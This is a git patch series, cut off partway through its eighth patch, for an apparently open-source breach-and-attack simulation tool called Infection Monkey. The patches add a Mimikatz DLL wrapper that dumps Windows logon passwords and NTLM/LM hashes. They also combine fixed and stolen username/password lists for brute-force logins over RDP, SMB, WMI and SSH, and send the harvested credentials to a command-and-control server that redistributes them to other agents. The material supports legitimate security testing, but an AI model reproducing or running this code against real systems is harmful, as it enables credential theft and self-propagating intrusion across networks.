From a671b55df3f44574ca5d861a9221e07d831b7811 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 16 Aug 2017 15:14:26 +0300 Subject: [PATCH 01/10] Add mimikatz collector Combine all users and passwords in config --- chaos_monkey/config.py | 18 +++-- chaos_monkey/exploit/rdpgrinder.py | 24 +++--- chaos_monkey/exploit/smbexec.py | 26 +++---- chaos_monkey/exploit/sshexec.py | 4 +- chaos_monkey/exploit/win_ms08_067.py | 2 +- chaos_monkey/exploit/wmiexec.py | 38 ++++----- chaos_monkey/monkey.py | 20 +++++ chaos_monkey/monkey.spec | 6 +- .../system_info/mimikatz_collector.py | 78 +++++++++++++++++++ .../system_info/windows_info_collector.py | 4 +- 10 files changed, 163 insertions(+), 57 deletions(-) create mode 100644 chaos_monkey/system_info/mimikatz_collector.py diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index b26c911b0..a5e99ccd0 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -204,17 +204,13 @@ class Configuration(object): ms08_067_remote_user_add = "Monkey_IUSER_SUPPORT" ms08_067_remote_user_pass = "Password1!" - # psexec exploiter - psexec_user = "Administrator" - psexec_passwords = ["Password1!", "1234", "password", "12345678"] - - # ssh exploiter - ssh_users = ["root", 'user'] - ssh_passwords = ["Password1!", "1234", "password", "12345678"] - # rdp exploiter rdp_use_vbs_download = True + # User and password dictionaries for exploits. + exploit_user_list = ['Administrator', 'root', 'user'] + exploit_password_list = ["Password1!", "1234", "password", "12345678"] + # smb/wmi exploiter smb_download_timeout = 300 # timeout in seconds smb_service_name = "InfectionMonkey" @@ -223,4 +219,10 @@ class Configuration(object): collect_system_info = True + ########################### + # systeminfo config + ########################### + + mimikatz_dll_name = "mk.dll" + WormConfiguration = Configuration() diff --git a/chaos_monkey/exploit/rdpgrinder.py b/chaos_monkey/exploit/rdpgrinder.py index 89a4014da..6f37cdc2e 100644 --- a/chaos_monkey/exploit/rdpgrinder.py +++ b/chaos_monkey/exploit/rdpgrinder.py @@ -280,27 +280,27 @@ class RdpExploiter(HostExploiter): 'monkey_path': self._config.dropper_target_path, 'http_path': http_path, 'parameters': cmdline} - passwords = list(self._config.psexec_passwords[:]) - known_password = host.get_credentials(self._config.psexec_user) - if known_password is not None: - if known_password in passwords: - passwords.remove(known_password) - passwords.insert(0, known_password) + config_users = self._config.exploit_user_list + config_passwords = self._config.exploit_password_list + user_password_pairs = [] + for user in config_users: + for password in config_passwords: + user_password_pairs.append((user, password)) if not g_reactor.is_alive(): g_reactor.daemon = True g_reactor.start() exploited = False - for password in passwords: + for user, password in user_password_pairs: try: # run command using rdp. LOG.info("Trying RDP logging into victim %r with user %s and password '%s'", - host, self._config.psexec_user, password) + host, user, password) LOG.info("RDP connected to %r", host) - client_factory = CMDClientFactory(self._config.psexec_user, password, "", command) + client_factory = CMDClientFactory(user, password, "", command) reactor.callFromThread(reactor.connectTCP, host.ip_addr, RDP_PORT, client_factory) @@ -308,16 +308,16 @@ class RdpExploiter(HostExploiter): if client_factory.success: exploited = True - host.learn_credentials(self._config.psexec_user, password) + host.learn_credentials(user, password) break else: # failed exploiting with this user/pass - report_failed_login(self, host, self._config.psexec_user, password) + report_failed_login(self, host, user, password) except Exception, exc: LOG.debug("Error logging into victim %r with user" " %s and password '%s': (%s)", host, - self._config.psexec_user, password, exc) + user, password, exc) continue http_thread.join(DOWNLOAD_TIMEOUT) diff --git a/chaos_monkey/exploit/smbexec.py b/chaos_monkey/exploit/smbexec.py index 6f2177264..072211c42 100644 --- a/chaos_monkey/exploit/smbexec.py +++ b/chaos_monkey/exploit/smbexec.py @@ -64,19 +64,19 @@ class SmbExploiter(HostExploiter): LOG.info("Can't find suitable monkey executable for host %r", host) return False - passwords = list(self._config.psexec_passwords[:]) - known_password = host.get_credentials(self._config.psexec_user) - if known_password is not None: - if known_password in passwords: - passwords.remove(known_password) - passwords.insert(0, known_password) + config_users = self._config.exploit_user_list + config_passwords = self._config.exploit_password_list + user_password_pairs = [] + for user in config_users: + for password in config_passwords: + user_password_pairs.append((user, password)) exploited = False - for password in passwords: + for user, password in user_password_pairs: try: # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(host, - self._config.psexec_user, + user, password, src_path, self._config.dropper_target_path, @@ -84,18 +84,18 @@ class SmbExploiter(HostExploiter): if remote_full_path is not None: LOG.debug("Successfully logged in %r using SMB (%s : %s)", - host, self._config.psexec_user, password) - host.learn_credentials(self._config.psexec_user, password) + host, user, password) + host.learn_credentials(user, password) exploited = True break else: # failed exploiting with this user/pass - report_failed_login(self, host, self._config.psexec_user, password) + report_failed_login(self, host, user, password) except Exception, exc: LOG.debug("Exception when trying to copy file using SMB to %r with user" " %s and password '%s': (%s)", host, - self._config.psexec_user, password, exc) + user, password, exc) continue if not exploited: @@ -118,7 +118,7 @@ class SmbExploiter(HostExploiter): rpctransport.preferred_dialect(SMB_DIALECT) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. - rpctransport.set_credentials(self._config.psexec_user, password, host.ip_addr, + rpctransport.set_credentials(user, password, host.ip_addr, "", "", None) rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS) diff --git a/chaos_monkey/exploit/sshexec.py b/chaos_monkey/exploit/sshexec.py index fea92f82a..b827c86df 100644 --- a/chaos_monkey/exploit/sshexec.py +++ b/chaos_monkey/exploit/sshexec.py @@ -44,8 +44,8 @@ class SSHExploiter(HostExploiter): LOG.info("SSH port is closed on %r, skipping", host) return False - passwords = list(self._config.ssh_passwords[:]) - users = list(self._config.ssh_users) + passwords = list(self._config.exploit_password_list[:]) + users = list(self._config.exploit_user_list) known_passwords = [host.get_credentials(x) for x in users] if len(known_passwords) > 0: for known_pass in known_passwords: diff --git a/chaos_monkey/exploit/win_ms08_067.py b/chaos_monkey/exploit/win_ms08_067.py index b73c648b4..02f144851 100644 --- a/chaos_monkey/exploit/win_ms08_067.py +++ b/chaos_monkey/exploit/win_ms08_067.py @@ -235,7 +235,7 @@ class Ms08_067_Exploiter(HostExploiter): if not remote_full_path: # try other passwords for administrator - for password in self._config.psexec_passwords: + for password in self._config.exploit_password_list: remote_full_path = SmbTools.copy_file(host, "Administrator", password, diff --git a/chaos_monkey/exploit/wmiexec.py b/chaos_monkey/exploit/wmiexec.py index 982ff2f4d..a0ea01d00 100644 --- a/chaos_monkey/exploit/wmiexec.py +++ b/chaos_monkey/exploit/wmiexec.py @@ -29,14 +29,14 @@ class WmiExploiter(HostExploiter): LOG.info("Can't find suitable monkey executable for host %r", host) return False - passwords = list(self._config.psexec_passwords[:]) - known_password = host.get_credentials(self._config.psexec_user) - if known_password is not None: - if known_password in passwords: - passwords.remove(known_password) - passwords.insert(0, known_password) + config_users = self._config.exploit_user_list + config_passwords = self._config.exploit_password_list + user_password_pairs = [] + for user in config_users: + for password in config_passwords: + user_password_pairs.append((user, password)) - for password in passwords: + for user, password in user_password_pairs: LOG.debug("Attempting to connect %r using WMI with password '%s'", host, password) @@ -44,27 +44,27 @@ class WmiExploiter(HostExploiter): try: wmi_connection.connect(host, - self._config.psexec_user, + user, password) except AccessDeniedException: - LOG.debug("Failed connecting to %r using WMI with password '%s'", - host, password) + LOG.debug("Failed connecting to %r using WMI with user,password ('%s','%s')", + host, user, password) continue except DCERPCException, exc: - report_failed_login(self, host, self._config.psexec_user, password) - LOG.debug("Failed connecting to %r using WMI with password '%s'", - host, password) + report_failed_login(self, host, user, password) + LOG.debug("Failed connecting to %r using WMI with user,password: ('%s','%s')", + host, user, password) continue except socket.error, exc: - LOG.debug("Network error in WMI connection to %r with password '%s' (%s)", - host, password, exc) + LOG.debug("Network error in WMI connection to %r with user,password: ('%s','%s') (%s)", + host, user, password, exc) return False except Exception, exc: - LOG.debug("Unknown WMI connection error to %r with password '%s' (%s):\n%s", - host, password, exc, traceback.format_exc()) + LOG.debug("Unknown WMI connection error to %r with user,password: ('%s','%s') (%s):\n%s", + host, user, password, exc, traceback.format_exc()) return False - host.learn_credentials(self._config.psexec_user, password) + host.learn_credentials(user, password) # query process list and check if monkey already running on victim process_list = WmiTools.list_object(wmi_connection, "Win32_Process", @@ -78,7 +78,7 @@ class WmiExploiter(HostExploiter): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(host, - self._config.psexec_user, + user, password, src_path, self._config.dropper_target_path, diff --git a/chaos_monkey/monkey.py b/chaos_monkey/monkey.py index dd14a8fe0..099204374 100644 --- a/chaos_monkey/monkey.py +++ b/chaos_monkey/monkey.py @@ -88,10 +88,14 @@ class ChaosMonkey(object): LOG.debug("default server: %s" % self._default_server) ControlClient.send_telemetry("tunnel", ControlClient.proxies.get('https')) + additional_creds = {} + if WormConfiguration.collect_system_info: LOG.debug("Calling system info collection") system_info_collector = SystemInfoCollector() system_info = system_info_collector.get_info() + if system_info.has_key('credentials'): + additional_creds = system_info['credentials'] ControlClient.send_telemetry("system_info_collection", system_info) if 0 == WormConfiguration.depth: @@ -101,10 +105,26 @@ class ChaosMonkey(object): else: LOG.debug("Running with depth: %d" % WormConfiguration.depth) + + for _ in xrange(WormConfiguration.max_iterations): ControlClient.keepalive() ControlClient.load_control_config() + # TODO: this is temporary until we change server to support changing of config. + for user in list(additional_creds): + if user not in WormConfiguration.exploit_user_list: + WormConfiguration.exploit_user_list.append(user) + + for user, creds in additional_creds: + if creds.has_key('password'): + password = creds['password'] + if password not in WormConfiguration.exploit_password_list: + WormConfiguration.exploit_password_list.append(password) + + LOG.debug("Users to try: %s" % str(WormConfiguration.exploit_user_list)) + LOG.debug("Passwords to try: %s" % str(WormConfiguration.exploit_password_list)) + self._network.initialize() self._exploiters = [exploiter() for exploiter in WormConfiguration.exploiter_classes] diff --git a/chaos_monkey/monkey.spec b/chaos_monkey/monkey.spec index e233d64f5..11df45517 100644 --- a/chaos_monkey/monkey.spec +++ b/chaos_monkey/monkey.spec @@ -9,11 +9,15 @@ a = Analysis(['main.py'], if platform.system().find("Windows")>= 0: a.datas = [i for i in a.datas if i[0].find('Include') < 0] + if platform.architecture()[0] == "32bit": + a.binaries += [('mk.dll', '.\\bin\\mk32.dll', 'BINARY')] + else: + a.binaries += [('mk.dll', '.\\bin\\mk64.dll', 'BINARY')] pyz = PYZ(a.pure) exe = EXE(pyz, a.scripts, - a.binaries + [('msvcr100.dll', os.environ['WINDIR'] + '\system32\msvcr100.dll', 'BINARY')], + a.binaries + [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')], a.zipfiles, a.datas, name='monkey.exe', diff --git a/chaos_monkey/system_info/mimikatz_collector.py b/chaos_monkey/system_info/mimikatz_collector.py new file mode 100644 index 000000000..c3781f371 --- /dev/null +++ b/chaos_monkey/system_info/mimikatz_collector.py @@ -0,0 +1,78 @@ +import ctypes +import binascii +import logging + +__author__ = 'itay.mizeretz' + +LOG = logging.getLogger(__name__) + + + + +class MimikatzCollector: + """ + Password collection module for Windows using Mimikatz. + """ + + def __init__(self): + try: + self._isInit = False + self._config = __import__('config').WormConfiguration + self._dll = ctypes.WinDLL(self._config.mimikatz_dll_name) + collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int) + get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData) + self._collect = collect_proto(("collect", self._dll)) + self._get = get_proto(("get", self._dll)) + self._isInit = True + except StandardError as ex: + LOG.exception("Error initializing mimikatz collector") + + def get_logon_info(self): + """ + Gets the logon info from mimikatz. + Returns a dictionary of users with their known credentials. + """ + + if not self._isInit: + return {} + + try: + entry_count = self._collect() + + logon_data_dictionary = {} + + for i in range(entry_count): + entry = self._get() + username = entry.username + password = entry.password + lm_hash = binascii.hexlify(bytearray(entry.lm_hash)) + ntlm_hash = binascii.hexlify(bytearray(entry.ntlm_hash)) + has_password = (0 != len(password)) + has_lm = ("00000000000000000000000000000000" != lm_hash) + has_ntlm = ("00000000000000000000000000000000" != ntlm_hash) + + if not logon_data_dictionary.has_key(username): + logon_data_dictionary[username] = {} + if has_password: + logon_data_dictionary[username]["password"] = password + if has_lm: + logon_data_dictionary[username]["lm_hash"] = lm_hash + if has_ntlm: + logon_data_dictionary[username]["ntlm_hash"] = ntlm_hash + + return logon_data_dictionary + except StandardError as ex: + LOG.exception("Error getting logon info") + return {} + + class LogonData(ctypes.Structure): + """ + Logon data structure returned from mimikatz. + """ + _fields_ = \ + [ + ("username", ctypes.c_wchar * 257), + ("password", ctypes.c_wchar * 257), + ("lm_hash", ctypes.c_byte * 16), + ("ntlm_hash", ctypes.c_byte * 16) + ] diff --git a/chaos_monkey/system_info/windows_info_collector.py b/chaos_monkey/system_info/windows_info_collector.py index b979ee87b..5cb1253ab 100644 --- a/chaos_monkey/system_info/windows_info_collector.py +++ b/chaos_monkey/system_info/windows_info_collector.py @@ -1,5 +1,5 @@ from . import InfoCollector - +from mimikatz_collector import MimikatzCollector __author__ = 'uri' @@ -14,4 +14,6 @@ class WindowsInfoCollector(InfoCollector): def get_info(self): self.get_hostname() self.get_process_list() + mimikatz_collector = MimikatzCollector() + self.info["credentials"] = mimikatz_collector.get_logon_info() return self.info From 60d64c4e6b78106833801936794430b629181f0a Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 16 Aug 2017 15:40:23 +0300 Subject: [PATCH 02/10] Fix minor bug --- chaos_monkey/monkey.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/chaos_monkey/monkey.py b/chaos_monkey/monkey.py index 099204374..e61249a87 100644 --- a/chaos_monkey/monkey.py +++ b/chaos_monkey/monkey.py @@ -116,7 +116,7 @@ class ChaosMonkey(object): if user not in WormConfiguration.exploit_user_list: WormConfiguration.exploit_user_list.append(user) - for user, creds in additional_creds: + creds = additional_creds[user] if creds.has_key('password'): password = creds['password'] if password not in WormConfiguration.exploit_password_list: From f1b7fb67067d4cb062e991015f76aff28a071c53 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 16 Aug 2017 16:13:31 +0300 Subject: [PATCH 03/10] Fix unicode problem --- chaos_monkey/system_info/mimikatz_collector.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/chaos_monkey/system_info/mimikatz_collector.py b/chaos_monkey/system_info/mimikatz_collector.py index c3781f371..1fd40480c 100644 --- a/chaos_monkey/system_info/mimikatz_collector.py +++ b/chaos_monkey/system_info/mimikatz_collector.py @@ -43,8 +43,9 @@ class MimikatzCollector: for i in range(entry_count): entry = self._get() - username = entry.username - password = entry.password + # TODO: Consider what to do when string can't be ascii + username = str(entry.username) + password = str(entry.password) lm_hash = binascii.hexlify(bytearray(entry.lm_hash)) ntlm_hash = binascii.hexlify(bytearray(entry.ntlm_hash)) has_password = (0 != len(password)) From 875eba393cff8e34855d95a6946fcaa5e814b0a6 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 16 Aug 2017 16:36:51 +0300 Subject: [PATCH 04/10] Fix config erasing of creds --- chaos_monkey/monkey.py | 26 ++++++++++++++++---------- 1 file changed, 16 insertions(+), 10 deletions(-) diff --git a/chaos_monkey/monkey.py b/chaos_monkey/monkey.py index e61249a87..e3af0e012 100644 --- a/chaos_monkey/monkey.py +++ b/chaos_monkey/monkey.py @@ -111,16 +111,7 @@ class ChaosMonkey(object): ControlClient.keepalive() ControlClient.load_control_config() - # TODO: this is temporary until we change server to support changing of config. - for user in list(additional_creds): - if user not in WormConfiguration.exploit_user_list: - WormConfiguration.exploit_user_list.append(user) - - creds = additional_creds[user] - if creds.has_key('password'): - password = creds['password'] - if password not in WormConfiguration.exploit_password_list: - WormConfiguration.exploit_password_list.append(password) + self.update_config_creds(additional_creds) LOG.debug("Users to try: %s" % str(WormConfiguration.exploit_user_list)) LOG.debug("Passwords to try: %s" % str(WormConfiguration.exploit_password_list)) @@ -142,6 +133,9 @@ class ChaosMonkey(object): if ControlClient.check_for_stop(): break + # TODO: Consider removing later + self.update_config_creds(additional_creds) + is_empty = False for finger in self._fingerprint: LOG.info("Trying to get OS fingerprint from %r with module %s", @@ -260,4 +254,16 @@ class ChaosMonkey(object): except Exception, exc: LOG.error("Exception in self delete: %s", exc) + def update_config_creds(self, additional_creds): + # TODO: this is temporary until we change server to support changing of config. + for user in list(additional_creds): + if user not in WormConfiguration.exploit_user_list: + WormConfiguration.exploit_user_list.append(user) + + creds = additional_creds[user] + if creds.has_key('password'): + password = creds['password'] + if password not in WormConfiguration.exploit_password_list: + WormConfiguration.exploit_password_list.append(password) + LOG.info("Monkey is shutting down") From 1e876eb59743aac3d9a923c96a6e607447a7e450 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 16 Aug 2017 19:07:50 +0300 Subject: [PATCH 05/10] Update example.conf --- chaos_monkey/example.conf | 22 ++-------------------- 1 file changed, 2 insertions(+), 20 deletions(-) diff --git a/chaos_monkey/example.conf b/chaos_monkey/example.conf index 33503b3da..6250460b6 100644 --- a/chaos_monkey/example.conf +++ b/chaos_monkey/example.conf @@ -12,21 +12,6 @@ ], "blocked_ips": [""], "current_server": "41.50.73.31:5000", - "psexec_passwords": [ - "Password1!", - "1234", - "password", - "12345678" - ], - "ssh_passwords": [ - "Password1!", - "Password", - "1234", - "12345", - "123", - "password", - "12345678" - ], "alive": true, "collect_system_info": true, "depth": 2, @@ -63,7 +48,6 @@ "ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT", "ms08_067_remote_user_pass": "Password1!", "ping_scan_timeout": 10000, - "psexec_user": "Administrator", "range_size": 30, "rdp_use_vbs_download": true, "smb_download_timeout": 300, @@ -74,11 +58,9 @@ "serialize_config": false, "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", "skip_exploit_if_file_exist": true, - "ssh_users": [ - "root", - "user" - ], "local_network_scan": true, + "exploit_user_list": ["Administrator", "root", "user"], + "exploit_password_list" = ["Password1!", "1234", "password", "12345678"] "tcp_scan_get_banner": true, "tcp_scan_interval": 200, "tcp_scan_timeout": 10000, From 1a55c8362f161e8f93a304fe8e9260daa7d734d7 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Thu, 17 Aug 2017 18:04:36 +0300 Subject: [PATCH 06/10] Add C&C ability to share credentials found from monkeys --- README.md | 6 ++- chaos_monkey/config.py | 4 +- chaos_monkey/example.conf | 4 +- chaos_monkey/exploit/sshexec.py | 6 --- chaos_monkey/exploit/win_ms08_067.py | 1 + chaos_monkey/monkey.py | 23 -------- .../system_info/mimikatz_collector.py | 1 - monkey_island/cc/main.py | 52 ++++++++++++++++++- 8 files changed, 59 insertions(+), 38 deletions(-) diff --git a/README.md b/README.md index bb331007e..63c52e0cb 100644 --- a/README.md +++ b/README.md @@ -150,11 +150,12 @@ Copyright (c) 2016 Guardicore Ltd See the [LICENSE](LICENSE) file for license rights and limitations (GPLv3). + Dependent packages --------------------- -Dependency | License | -----------------------------|---------------------------- +Dependency | License | Notes +----------------------------|----------------------------|---------------------------- libffi-dev | https://github.com/atgreen/libffi/blob/master/LICENSE PyCrypto | Public domain upx | Custom license, http://upx.sourceforge.net/upx-license.html @@ -188,3 +189,4 @@ Dependency | License | winbind | GPL-3 pyinstaller | GPL Celery | BSD + mimikatz | CC BY 4.0 | We use an altered version of mimikatz. Original: https://github.com/gentilkiwi/mimikatz diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index a5e99ccd0..c2eae0c33 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -208,8 +208,8 @@ class Configuration(object): rdp_use_vbs_download = True # User and password dictionaries for exploits. - exploit_user_list = ['Administrator', 'root', 'user'] - exploit_password_list = ["Password1!", "1234", "password", "12345678"] + exploit_user_list = [] + exploit_password_list = [] # smb/wmi exploiter smb_download_timeout = 300 # timeout in seconds diff --git a/chaos_monkey/example.conf b/chaos_monkey/example.conf index 6250460b6..b8131fc61 100644 --- a/chaos_monkey/example.conf +++ b/chaos_monkey/example.conf @@ -59,8 +59,8 @@ "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", "skip_exploit_if_file_exist": true, "local_network_scan": true, - "exploit_user_list": ["Administrator", "root", "user"], - "exploit_password_list" = ["Password1!", "1234", "password", "12345678"] + "exploit_user_list": [], + "exploit_password_list" = [] "tcp_scan_get_banner": true, "tcp_scan_interval": 200, "tcp_scan_timeout": 10000, diff --git a/chaos_monkey/exploit/sshexec.py b/chaos_monkey/exploit/sshexec.py index b827c86df..42913e1f8 100644 --- a/chaos_monkey/exploit/sshexec.py +++ b/chaos_monkey/exploit/sshexec.py @@ -46,12 +46,6 @@ class SSHExploiter(HostExploiter): passwords = list(self._config.exploit_password_list[:]) users = list(self._config.exploit_user_list) - known_passwords = [host.get_credentials(x) for x in users] - if len(known_passwords) > 0: - for known_pass in known_passwords: - if known_pass in passwords: - passwords.remove(known_pass) - passwords.insert(0, known_pass) #try first user_pass = product(users,passwords) exploited = False diff --git a/chaos_monkey/exploit/win_ms08_067.py b/chaos_monkey/exploit/win_ms08_067.py index 02f144851..48348d266 100644 --- a/chaos_monkey/exploit/win_ms08_067.py +++ b/chaos_monkey/exploit/win_ms08_067.py @@ -233,6 +233,7 @@ class Ms08_067_Exploiter(HostExploiter): src_path, self._config.dropper_target_path) + # TODO: why are we doing this? Isn't that smbexec's job? if not remote_full_path: # try other passwords for administrator for password in self._config.exploit_password_list: diff --git a/chaos_monkey/monkey.py b/chaos_monkey/monkey.py index e3af0e012..6e128ed67 100644 --- a/chaos_monkey/monkey.py +++ b/chaos_monkey/monkey.py @@ -88,14 +88,10 @@ class ChaosMonkey(object): LOG.debug("default server: %s" % self._default_server) ControlClient.send_telemetry("tunnel", ControlClient.proxies.get('https')) - additional_creds = {} - if WormConfiguration.collect_system_info: LOG.debug("Calling system info collection") system_info_collector = SystemInfoCollector() system_info = system_info_collector.get_info() - if system_info.has_key('credentials'): - additional_creds = system_info['credentials'] ControlClient.send_telemetry("system_info_collection", system_info) if 0 == WormConfiguration.depth: @@ -105,14 +101,10 @@ class ChaosMonkey(object): else: LOG.debug("Running with depth: %d" % WormConfiguration.depth) - - for _ in xrange(WormConfiguration.max_iterations): ControlClient.keepalive() ControlClient.load_control_config() - self.update_config_creds(additional_creds) - LOG.debug("Users to try: %s" % str(WormConfiguration.exploit_user_list)) LOG.debug("Passwords to try: %s" % str(WormConfiguration.exploit_password_list)) @@ -133,9 +125,6 @@ class ChaosMonkey(object): if ControlClient.check_for_stop(): break - # TODO: Consider removing later - self.update_config_creds(additional_creds) - is_empty = False for finger in self._fingerprint: LOG.info("Trying to get OS fingerprint from %r with module %s", @@ -254,16 +243,4 @@ class ChaosMonkey(object): except Exception, exc: LOG.error("Exception in self delete: %s", exc) - def update_config_creds(self, additional_creds): - # TODO: this is temporary until we change server to support changing of config. - for user in list(additional_creds): - if user not in WormConfiguration.exploit_user_list: - WormConfiguration.exploit_user_list.append(user) - - creds = additional_creds[user] - if creds.has_key('password'): - password = creds['password'] - if password not in WormConfiguration.exploit_password_list: - WormConfiguration.exploit_password_list.append(password) - LOG.info("Monkey is shutting down") diff --git a/chaos_monkey/system_info/mimikatz_collector.py b/chaos_monkey/system_info/mimikatz_collector.py index 1fd40480c..a069a50ab 100644 --- a/chaos_monkey/system_info/mimikatz_collector.py +++ b/chaos_monkey/system_info/mimikatz_collector.py @@ -43,7 +43,6 @@ class MimikatzCollector: for i in range(entry_count): entry = self._get() - # TODO: Consider what to do when string can't be ascii username = str(entry.username) password = str(entry.password) lm_hash = binascii.hexlify(bytearray(entry.lm_hash)) diff --git a/monkey_island/cc/main.py b/monkey_island/cc/main.py index b05c42e70..9641e2ae3 100644 --- a/monkey_island/cc/main.py +++ b/monkey_island/cc/main.py @@ -48,6 +48,9 @@ MONKEY_DOWNLOADS = [ }, ] +INITIAL_USERNAMES = ['Administrator', 'root', 'user'] +INITIAL_PASSWORDS = ["Password1!", "1234", "password", "12345678"] + MONGO_URL = os.environ.get('MONGO_URL') if not MONGO_URL: MONGO_URL = "mongodb://localhost:27017/monkeyisland" @@ -65,7 +68,12 @@ class Monkey(restful.Resource): timestamp = request.args.get('timestamp') if guid: - return mongo.db.monkey.find_one_or_404({"guid": guid}) + monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid}) + monkey_json['config']['exploit_user_list'] = \ + map(lambda x: x['username'], mongo.db.usernames.find({}, {'_id': 0, 'username': 1}).sort([('count', -1)])) + monkey_json['config']['exploit_password_list'] = \ + map(lambda x: x['password'], mongo.db.passwords.find({}, {'_id': 0, 'password': 1}).sort([('count', -1)])) + return monkey_json else: result = {'timestamp': datetime.now().isoformat()} find_filter = {} @@ -195,6 +203,18 @@ class Telemetry(restful.Resource): except: pass + # Update credentials DB + try: + if (telemetry_json.get('telem_type') == 'system_info_collection') and (telemetry_json['data'].has_key('credentials')): + creds = telemetry_json['data']['credentials'] + for user in creds: + creds_add_username(user) + + if creds[user].has_key('password'): + creds_add_password(creds[user]['password']) + except StandardError as ex: + print("Exception caught while updating DB credentials: %s" % str(ex)) + return mongo.db.telemetry.find_one_or_404({"_id": telem_id}) @@ -259,6 +279,9 @@ class Root(restful.Resource): mongo.db.config.drop() mongo.db.monkey.drop() mongo.db.telemetry.drop() + mongo.db.usernames.drop() + mongo.db.passwords.drop() + init_db() return { 'status': 'OK', } @@ -347,13 +370,25 @@ def run_local_monkey(island_address): return (True, "pis: %s" % pid) +def creds_add_username(username): + mongo.db.usernames.update( + {'username': username}, + {'$inc': {'count': 1}}, + upsert=True + ) + +def creds_add_password(password): + mongo.db.passwords.update( + {'password': password}, + {'$inc': {'count': 1}}, + upsert=True + ) ### Local ips function if sys.platform == "win32": def local_ips(): local_hostname = socket.gethostname() return socket.gethostbyname_ex(local_hostname)[2] - else: import fcntl def local_ips(): @@ -398,6 +433,17 @@ def send_to_default(): return redirect('/admin/index.html') +def init_db(): + if not "usernames" in mongo.db.collection_names(): + mongo.db.usernames.create_index([( "username", 1 )], unique= True) + for username in INITIAL_USERNAMES: + creds_add_username(username) + + if not "passwords" in mongo.db.collection_names(): + mongo.db.passwords.create_index([( "password", 1 )], unique= True) + for password in INITIAL_PASSWORDS: + creds_add_password(password) + DEFAULT_REPRESENTATIONS = {'application/json': output_json} api = restful.Api(app) api.representations = DEFAULT_REPRESENTATIONS @@ -414,6 +460,8 @@ if __name__ == '__main__': from tornado.httpserver import HTTPServer from tornado.ioloop import IOLoop + with app.app_context(): + init_db() http_server = HTTPServer(WSGIContainer(app), ssl_options={'certfile': 'server.crt', 'keyfile': 'server.key'}) http_server.listen(ISLAND_PORT) IOLoop.instance().start() From 6530dd063e3435b96bcc026b2db7caba38833e22 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sun, 20 Aug 2017 14:42:27 +0300 Subject: [PATCH 07/10] Update README.md --- README.md | 1 - 1 file changed, 1 deletion(-) diff --git a/README.md b/README.md index 63c52e0cb..29203e517 100644 --- a/README.md +++ b/README.md @@ -150,7 +150,6 @@ Copyright (c) 2016 Guardicore Ltd See the [LICENSE](LICENSE) file for license rights and limitations (GPLv3). - Dependent packages --------------------- From 26df64fb87ee556bdbe90387070e17d3a597acab Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 20 Aug 2017 19:32:18 +0300 Subject: [PATCH 08/10] Fixed CR --- README.md | 2 +- chaos_monkey/config.py | 11 ++++++++--- chaos_monkey/exploit/smbexec.py | 7 +------ chaos_monkey/exploit/sshexec.py | 8 +++----- chaos_monkey/exploit/win_ms08_067.py | 1 - chaos_monkey/exploit/wmiexec.py | 7 +------ chaos_monkey/system_info/mimikatz_collector.py | 12 ++++++++---- 7 files changed, 22 insertions(+), 26 deletions(-) diff --git a/README.md b/README.md index 29203e517..e0452e2f9 100644 --- a/README.md +++ b/README.md @@ -188,4 +188,4 @@ Dependency | License | Notes winbind | GPL-3 pyinstaller | GPL Celery | BSD - mimikatz | CC BY 4.0 | We use an altered version of mimikatz. Original: https://github.com/gentilkiwi/mimikatz + mimikatz | CC BY 4.0 | We use an altered version of mimikatz: https://github.com/guardicore/mimikatz diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index c2eae0c33..b2ca2e6ae 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -4,6 +4,7 @@ from network.range import FixedRange, RelativeRange, ClassCRange from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger from abc import ABCMeta +from itertools import product import uuid import types @@ -13,7 +14,6 @@ GUID = str(uuid.getnode()) EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin') - def _cast_by_example(value, example): """ a method that casts a value to the type of the parameter given as example @@ -208,8 +208,13 @@ class Configuration(object): rdp_use_vbs_download = True # User and password dictionaries for exploits. - exploit_user_list = [] - exploit_password_list = [] + + @property + def exploit_user_password_pairs(self): + return product(self.exploit_user_list, self.exploit_password_list) + + exploit_user_list = ['Administrator', 'root', 'user'] + exploit_password_list = ["Password1!", "1234", "password", "12345678"] # smb/wmi exploiter smb_download_timeout = 300 # timeout in seconds diff --git a/chaos_monkey/exploit/smbexec.py b/chaos_monkey/exploit/smbexec.py index 072211c42..96fd8f956 100644 --- a/chaos_monkey/exploit/smbexec.py +++ b/chaos_monkey/exploit/smbexec.py @@ -64,12 +64,7 @@ class SmbExploiter(HostExploiter): LOG.info("Can't find suitable monkey executable for host %r", host) return False - config_users = self._config.exploit_user_list - config_passwords = self._config.exploit_password_list - user_password_pairs = [] - for user in config_users: - for password in config_passwords: - user_password_pairs.append((user, password)) + user_password_pairs = self._config.exploit_user_password_pairs exploited = False for 